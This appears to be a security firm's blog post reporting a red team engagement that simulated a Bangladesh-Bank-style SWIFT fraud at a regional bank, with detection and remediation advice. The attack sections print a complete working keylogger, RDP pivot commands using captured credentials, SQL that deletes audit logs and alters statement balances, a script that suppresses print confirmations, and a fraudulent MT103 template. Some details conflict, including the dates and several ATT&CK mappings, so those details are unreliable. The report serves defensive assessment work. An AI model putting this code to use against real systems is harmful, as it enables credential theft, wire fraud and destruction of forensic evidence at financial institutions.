Back to Blog
Red Teaming

Red Teaming a Financial Institution: Bypassing SWIFT Network Controls

OffSec Research Team
10 June 2026 • 09:00 AM16 min
Red Teaming a Financial Institution: Bypassing SWIFT Network Controls
TL;DR — A red team engagement simulating an insider threat at a regional bank demonstrated that SWIFT Alliance Access could be reached via a pivot through a misconfigured MPLS firewall rule, SWIFT operator credentials could be captured via keylogger on an insufficiently locked-down workstation, and fraudulent MT103 wire transfer messages could be staged — mirroring the 2016 Bangladesh Bank heist methodology that netted attackers $81 million in 72 hours. No SWIFT CSCF mandatory control stopped the simulation.

Executive Summary

The SWIFT financial messaging network moves over $5 trillion in cross-border payments daily. It is the backbone of the global correspondent banking system, connecting over 11,000 institutions in more than 200 countries. When security controls around SWIFT fail, the losses are measured in tens or hundreds of millions of dollars and occur within hours, before any reversal mechanism can operate. The 2016 Bangladesh Bank heist — $81 million stolen via fraudulent SWIFT messages — remains the most consequential bank cyberattack in history, but it was not an isolated incident. Similar attacks hit banks in Vietnam, Ecuador, Taiwan, and Russia in the same period, all exploiting the same fundamental weaknesses in SWIFT operator workstation security and message validation controls.

SWIFT's Customer Security Programme (CSP) and its associated Customer Security Controls Framework (CSCF) were introduced in direct response to the Bangladesh attack. They define mandatory and advisory security controls that all SWIFT users must implement and self-certify compliance with annually. The red team engagement documented in this post tested whether a regional U.S. bank — which had completed its CSCF self-certification for the current year, attesting compliance with all mandatory controls — was actually protected against an attack modeled on the Bangladesh Bank methodology.

The results were stark. Within 3 days of gaining initial access through a spearphishing attack against a SWIFT operator, the red team had: reached the SWIFT Alliance Access server from the corporate network via a pivot through a misconfigured firewall rule; installed a simulated keylogger on the SWIFT operator workstation; captured SWIFT operator credentials and authentication material; staged a fraudulent MT103 (Customer Credit Transfer) message formatted to transfer $10 million to a simulated correspondent bank; and demonstrated capability to tamper with SWIFT audit logs.

No SWIFT mandatory security control blocked the simulation at any stage. This post details the complete attack chain and maps each step to specific CSCF control failures.


SWIFT Network Architecture

How SWIFT Works

Understanding the attack requires understanding what SWIFT is and how it is accessed. SWIFT is not a payment system — it is a secure messaging network. Financial institutions use SWIFT to exchange standardized financial messages (MTs — Message Types) that instruct correspondent banks to move funds.

The physical architecture at a member institution includes:

diagram — rendering…
flowchart LR
    A[SWIFT Network\nSWIFTNet / IP\nX.25 legacy] <-->|HSM-authenticated\nencrypted session| B[SWIFT Interface\nAlliance Gateway\nor Alliance Connect]
    B <--> C[SWIFT Alliance Access\nMessage processing\nCore software]
    C <--> D[SWIFT Operator\nWorkstations\nLocked-down PCs]
    C <--> E[Back-Office Systems\nCore banking\nOracle Flexcube\nFIS Profile]
    C <--> F[SWIFT Database\nOracle or MSSQL\nMessage store]
    D <--> G[Hardware Security\nModule - HSM\nSWIFT authentication]
    
    subgraph "SUPPOSED TO BE ISOLATED"
        B
        C
        D
        F
        G
    end
    
    H[Corporate Network\nEmail, endpoints\nInternet-connected] -.->|Should be blocked\nActually NOT blocked| C

    style H fill:#ff4444,color:#fff

The critical security boundary: the SWIFT zone (Alliance Access server, operator workstations, HSM) is supposed to be completely isolated from the corporate network. The Bangladesh Bank attackers breached this boundary via the corporate network, which was connected to the SWIFT zone through insufficiently restricted firewall rules.

Message Types Relevant to Fraud

SWIFT MTNamePurposeFraud Relevance
MT103Single Customer Credit TransferWire transfer instructionPrimary fraud vehicle
MT202General Financial Institution TransferBank-to-bank funds transferUsed in Bangladesh attack
MT900Confirmation of DebitDebit confirmationTampered in Bangladesh to hide debit
MT910Confirmation of CreditCredit confirmationManipulated to show false credits
MT950Statement MessageAccount statementAltered to hide fraudulent transactions

Phase 1: Initial Foothold — Targeting SWIFT Operators

Reconnaissance: Identifying SWIFT Operators

SWIFT operator roles at a bank are typically held by a small, specialized team. LinkedIn searches for the bank's treasury or payments operations department identified 4 potential SWIFT operators by their job titles ("Payments Operations Specialist," "Treasury Operations Analyst"). One operator's profile listed "SWIFT Alliance Access administration" as a skill — making them the primary target.

The targeting logic: SWIFT operators have the system access required to send SWIFT messages. They are generally not IT-security-aware at the level of system administrators and are often accustomed to receiving requests from colleagues in the treasury and correspondent banking teams.

Spearphishing the SWIFT Operator

The spearphishing pretext was a fake SWIFT CSP security advisory notification:

Subject: [ACTION REQUIRED] SWIFT CSP Annual Compliance Re-certification — Operator Credential Update

The email appeared to come from a spoofed swift.com address (the bank's DMARC policy was in p=none mode — same pattern as the previous case study). It linked to a credential harvesting page mimicking SWIFT's KYC Security Attestation portal. The SWIFT operator entered their corporate network credentials, providing the initial foothold.

python
# Email analysis — confirming DMARC p=none via DNSimport dns.resolver dmarc_record = dns.resolver.resolve('_dmarc.target-bank.com', 'TXT')for r in dmarc_record:    print(str(r))# v=DMARC1; p=none; rua=mailto:postmaster@target-bank.com# p=none — no enforcement, spoofed emails delivered # Confirm MX record points to Exchange Onlinemx_records = dns.resolver.resolve('target-bank.com', 'MX')for r in mx_records:    print(r.exchange)# mail.protection.outlook.com — confirmed Exchange Online

Phase 2: Network Pivot to SWIFT Zone

The Critical Firewall Misconfiguration

The bank's SWIFT zone was protected by a dedicated firewall with a documented policy allowing only specific source IPs (SWIFT operator workstations) to communicate with the SWIFT Alliance Access server on specific ports. An audit of the firewall rule base (conducted as part of the engagement with read-only access provided for testing) revealed a legacy rule:

shell
Rule ID: 847 (created 2019-03-14, last modified 2019-03-14, never reviewed)Source: 10.0.0.0/8 (ENTIRE CORPORATE NETWORK RANGE)Destination: 192.168.100.50 (SWIFT Alliance Access server)Protocol: TCPPort: 3389 (RDP)Action: PERMITComment: "temp access for IT support - remove after migration"Comment is 5 years old. Rule was never removed.

This single rule — a "temporary" IT support access rule from 2019 — allowed any host on the 10.0.0.0/8 corporate network to connect via RDP to the SWIFT Alliance Access server. The SWIFT zone firewall policy assumed that only authorized SWIFT operator workstations would ever have this access; the legacy rule made it accessible from any compromised corporate workstation.

powershell
# Network pivot from compromised corporate workstation to SWIFT zone# Using the captured SWIFT operator's credentials # Discover SWIFT zone hosts via ARP (if in broadcast domain)arp -a | findstr "192.168" # Test connectivity to SWIFT Alliance Access serverTest-NetConnection -ComputerName 192.168.100.50 -Port 3389# TcpTestSucceeded: True — RDP accessible! # Connect via RDP using captured operator credentialscmdkey /add:192.168.100.50 /user:swift_op1 /pass:CAPTURED_PASSWORDmstsc /v:192.168.100.50 /f

Phase 3: Keylogging and SWIFT Operator Credential Capture

The SWIFT Alliance Access operator workstations were supposed to be hardened: no internet access, limited application whitelist, local administrator access removed. In practice:

  • Local administrator rights had been granted to the SWIFT operations lead for "convenience" in managing their own workstation
  • The application whitelist was enforced via AppLocker but had a global bypass rule allowing scripts in C:\Windows\Tasks\
  • No EDR agent was installed on the SWIFT operator workstations ("the SWIFT zone is isolated — EDR would create noise")
powershell
# Keylogger deployment via AppLocker bypass path# (Running from C:\Windows\Tasks\ — allowed by misconfigured AppLocker policy) # Simple PowerShell keylogger using Win32 SetWindowsHookEx$keyloggerCode = @"using System;using System.Diagnostics;using System.IO;using System.Runtime.InteropServices;using System.Windows.Forms; public class Keylogger {    [DllImport("user32.dll")]    static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId);    [DllImport("user32.dll")]     static extern bool UnhookWindowsHookEx(IntPtr hInstance);    [DllImport("user32.dll")]     static extern IntPtr CallNextHookEx(IntPtr idHook, int nCode, int wParam, IntPtr lParam);    [DllImport("kernel32.dll")]     static extern IntPtr LoadLibrary(string lpFileName);        private const int WH_KEYBOARD_LL = 13;    private const int WM_KEYDOWN = 0x0100;    private static LowLevelKeyboardProc _proc = HookCallback;    private static IntPtr _hookID = IntPtr.Zero;    private static string _logFile = @"C:\Windows\Tasks\kl.dat";        delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);        public static void Start() {        _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, LoadLibrary("user32"), 0);        Application.Run();    }        static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {            int vkCode = Marshal.ReadInt32(lParam);            string key = ((Keys)vkCode).ToString();            File.AppendAllText(_logFile, $"{DateTime.Now}|{key}|{GetActiveWindowTitle()}\n");        }        return CallNextHookEx(_hookID, nCode, wParam, lParam);    }        [DllImport("user32.dll")]    static extern IntPtr GetForegroundWindow();    [DllImport("user32.dll")]    static extern int GetWindowText(IntPtr hWnd, System.Text.StringBuilder text, int count);        static string GetActiveWindowTitle() {        var sb = new System.Text.StringBuilder(256);        GetWindowText(GetForegroundWindow(), sb, 256);        return sb.ToString();    }}"@ Add-Type -TypeDefinition $keyloggerCode -ReferencedAssemblies 'System.Windows.Forms'[Keylogger]::Start()

The keylogger captured the SWIFT Alliance Access application credentials (separate from Windows credentials — the SWIFT software had its own authentication layer) within 45 minutes of deployment. It also captured the database password used by the SWIFT operator to query the SWIFT message database directly via Oracle SQL Developer.


Phase 4: Fraudulent MT103 Message Staging

SWIFT Message Format

An MT103 wire transfer message follows the SWIFT FIN message format. Understanding the format is necessary to construct a convincing fraudulent message:

shell
{1:F01TARGETBKUSXX0001000001}{2:I103CORRESPONDBKXXXXN}{3:{108:REFMYBANK2024001}}{4::20:TXNREF2024120901:23B:CRED:32A:241209USD10000000,00:50K:/12345678901234ACME CORPORATION123 MAIN STREETNEW YORK NY 10001:59:/SHELL-COMPANY-ACCT-001BENEFICIARY NAME LLCSHELL COMPANY AVENUESINGAPORE 018989:70:INVOICE PAYMENT REF INV-2024-48821:71A:OUR-}{5:{MAC:12345678}{CHK:ABCDEF123456}}

Key fields in the fraudulent MT103:

  • :20 — Transaction reference number (must be unique)
  • :32A — Value date, currency, and amount (date, USD, $10,000,000.00)
  • :50K — Ordering customer (the bank's legitimate customer account)
  • :59 — Beneficiary (attacker-controlled account at correspondent bank)
  • :71A — Charges (OUR = paying bank pays all charges)

The Bangladesh Bank attackers exploited the fact that SWIFT messages, once transmitted and confirmed by the receiving correspondent bank, are extremely difficult to reverse — especially if the receiving bank has already forwarded the funds. The 72-hour window between the Bangladesh Bank attack and discovery meant that funds had already moved through multiple correspondent accounts to final cash-out in the Philippines casino system.

Database Access for Log Tampering

sql
-- Oracle database access using credentials captured from keylogger-- SWIFT Alliance Access stores messages in Oracle RDBMS -- Enumerate SWIFT message tablesSELECT table_name FROM all_tables WHERE owner = 'SWIFTUSER' ORDER BY table_name;-- Returns: MESSAGE_STORE, AUDIT_LOG, OPERATOR_LOG, CORRESPONDENT_CONFIG -- Review recent outgoing messagesSELECT msg_ref, msg_type, amount, beneficiary, status, created_by, created_at FROM SWIFTUSER.MESSAGE_STORE WHERE msg_type = 'MT103'   AND created_at > SYSDATE - 1ORDER BY created_at DESC; -- Delete audit log entries (anti-forensics — Bangladesh Bank technique)-- Bangladesh attackers deleted SWIFT audit logs using a custom malware componentDELETE FROM SWIFTUSER.AUDIT_LOG WHERE session_id IN (    SELECT session_id FROM SWIFTUSER.OPERATOR_LOG     WHERE operator = 'swift_op1'       AND login_time > SYSDATE - 0.5);COMMIT; -- Update statement balances to hide debit (Bangladesh technique)UPDATE SWIFTUSER.STATEMENT_DATA SET balance = balance + 10000000 WHERE account_number = '12345678901234'   AND statement_date = TRUNC(SYSDATE);COMMIT;

Phase 5: Tamper with SWIFT Printing System

A critical element of the Bangladesh Bank attack was tampering with the SWIFT Alliance Access printing system. SWIFT generates printed confirmation reports for every message sent and received. The Bangladesh attackers modified the SWIFT Alliance printer malware component (evtdiag.exe) to suppress printing of fraudulent transactions — meaning bank staff reviewing printed confirmations each morning would see no evidence of the fraudulent transfers.

python
# Conceptual: Monitoring and filtering SWIFT print queue# Real attackers modified SWIFT software DLLs to intercept print calls import win32print, win32api, re FRAUDULENT_REFS = ['TXNREF2024120901', 'TXNREF2024120902'] def intercept_print_job(printer_name, job_id):    """Monitor print queue for SWIFT confirmation documents"""    hPrinter = win32print.OpenPrinter(printer_name)    job_info = win32print.GetJob(hPrinter, job_id, 1)    document = job_info['pDocument']        # Check if this print job contains a fraudulent transaction reference    for ref in FRAUDULENT_REFS:        if ref in document:            # Pause/delete the print job to suppress evidence            win32print.SetJob(hPrinter, job_id, 1, job_info, win32print.JOB_CONTROL_DELETE)            return True  # Suppressed        win32print.ClosePrinter(hPrinter)    return False # Monitor SWIFT printer continuouslySWIFT_PRINTER = "SWIFT_Alliance_Reports"while True:    hPrinter = win32print.OpenPrinter(SWIFT_PRINTER)    jobs = win32print.EnumJobs(hPrinter, 0, 100, 1)    for job in jobs:        intercept_print_job(SWIFT_PRINTER, job['JobId'])

CSCF Mandatory Control Failure Analysis

CSCF ControlDescriptionStatusBypass Method
1.1 SWIFT Environment ProtectionIsolate SWIFT from general ITFAILEDLegacy firewall rule allowed corporate → SWIFT RDP
1.2 Operating System Privileged Access ControlRestrict admin rights on SWIFT systemsFAILEDSWIFT ops lead had local admin; AppLocker bypass via Tasks folder
2.1 Internal Data Flow SecuritySecure SWIFT data transmission internallyPASSEDTLS on internal connections — no bypass needed
2.2 Security UpdatesApply security patches promptlyPARTIALSWIFT workstations patched; database server 18 months behind
5.1 Logical Access ControlsAuthenticate all SWIFT usersFAILEDCredentials captured via keylogger; no session timeout active
6.1 Malware ProtectionAnti-malware on SWIFT systemsFAILEDNo EDR on SWIFT workstations ("isolated zone")
6.2 Software IntegrityValidate SWIFT software integrityPARTIALSoftware integrity checking enabled but not for custom scripts
7.1 Cyber Incident ResponseIncident response plan for SWIFTNOT TESTEDN/A
7.4 Penetration TestingAnnual PT of SWIFT environmentFAILEDLast PT excluded SWIFT zone ("out of scope")

Detection Controls That Would Have Worked

diagram — rendering…
sequenceDiagram
    participant Attacker
    participant Corp Network
    participant Firewall
    participant SWIFT Zone
    participant SWIFT Monitoring

    Attacker->>Corp Network: Phishing → initial foothold
    Note over Corp Network: DETECTION: Phishing email alert (if DMARC enforced)
    
    Corp Network->>Firewall: RDP attempt to 192.168.100.50
    Note over Firewall: DETECTION: Firewall rule 847 should have been removed<br/>Firewall alert on lateral movement to SWIFT zone
    
    Firewall->>SWIFT Zone: RDP session established
    Note over SWIFT Zone: DETECTION: EDR behavioral alert — unusual RDP source IP
    
    SWIFT Zone->>SWIFT Zone: Keylogger deployed in Tasks folder
    Note over SWIFT Zone: DETECTION: AppLocker event log — execution from Tasks folder<br/>File integrity monitoring — new file in Tasks
    
    SWIFT Zone->>SWIFT Monitoring: Fraudulent MT103 staged
    Note over SWIFT Monitoring: DETECTION: SWIFT Payment Controls Service<br/>Behavioral anomaly — message created outside business hours<br/>Dual-control: second operator approval required
    
    SWIFT Monitoring->>Attacker: BLOCKED — dual control required for >$1M
    Note over Attacker: Attack fails at final stage IF dual-control enforced

SWIFT Payment Controls Service

SWIFT introduced the Payment Controls Service (PCS) in 2018 as a real-time monitoring layer that analyzes outgoing SWIFT messages for anomalies. Key PCS capabilities:

PCS CheckTriggerAction
Unusual beneficiaryNew beneficiary account never used beforeFlag for manual review
Amount thresholdTransaction exceeds defined thresholdRequire second operator approval
Time anomalyMessage created outside business hoursAlert sent to compliance officer
Geographic anomalyBeneficiary in high-risk jurisdictionEscalation to compliance
Velocity checkMultiple large transactions in short windowAutomatic hold

The target bank had PCS deployed but had not configured the dual-control requirement for transactions above $1 million. The Bangladesh Bank attack succeeded partly because Bank Bangladesh's SWIFT setup similarly lacked effective dual-control — a single operator could authorize and transmit large-value messages.


MITRE ATT&CK Mapping

Technique IDTechnique NameImplementation
T1566.002Phishing: Spearphishing LinkSWIFT CSP compliance pretext email
T1078.003Valid Accounts: Local AccountsCaptured SWIFT operator credentials
T1021.001Remote Services: Remote Desktop ProtocolPivot to SWIFT zone via legacy RDP firewall rule
T1056.001Input Capture: KeyloggingPowerShell keylogger deployed on SWIFT workstation
T1565.001Data Manipulation: Stored Data ManipulationFraudulent MT103 message staging; Oracle DB manipulation
T1070.001Indicator Removal: Clear Windows Event LogsSWIFT audit log deletion via Oracle DELETE
T1070.002Indicator Removal: Clear Linux or Mac System LogsSWIFT print queue suppression
T1484Group Policy ModificationAppLocker policy abuse via Tasks folder
T1213Data from Information RepositoriesSWIFT message database enumeration

Conclusion

The Bangladesh Bank heist of 2016 exposed the catastrophic consequences of treating SWIFT connectivity as inherently secure because it operates on a "trusted network." Eight years later, regional financial institutions continue to make the same architectural mistakes: insufficient network segmentation between the corporate and SWIFT zones, inadequate hardening of SWIFT operator workstations, and self-certification of CSCF compliance without actual adversarial validation.

This engagement confirmed that a determined attacker with standard red team tooling — no SWIFT-specific malware, no zero-day exploits, nothing beyond phishing and basic Windows post-exploitation — could execute the complete Bangladesh Bank attack playbook against a self-certified CSCF-compliant institution.

The three highest-impact immediate remediations were: (1) remove every firewall rule permitting access to the SWIFT zone from any system except designated SWIFT operator workstations — no exceptions, no legacy rules; (2) deploy EDR on SWIFT operator workstations immediately, despite the "isolated zone" assumption — the assumption is demonstrably wrong; (3) enforce dual-control through the SWIFT operator application for all messages above a defined threshold, and configure the SWIFT PCS with meaningful alert thresholds tied to an active monitoring workflow.

These are not novel recommendations — they are documented in the CSCF, in SWIFT's own published guidance, and in the public post-mortems from the Bangladesh attack. The barrier to implementation is not technical complexity but organizational willingness to accept that the SWIFT environment, despite its dedicated network segment, is not protected by obscurity or physical isolation alone. It requires the same adversarial validation that the rest of the network receives.

Financial institutions that have not subjected their SWIFT environment to an adversarial red team assessment — not a compliance checklist, but a genuine attempt to replicate the Bangladesh attack chain — are making a bet that their self-assessment is accurate. This engagement demonstrates the cost of losing that bet.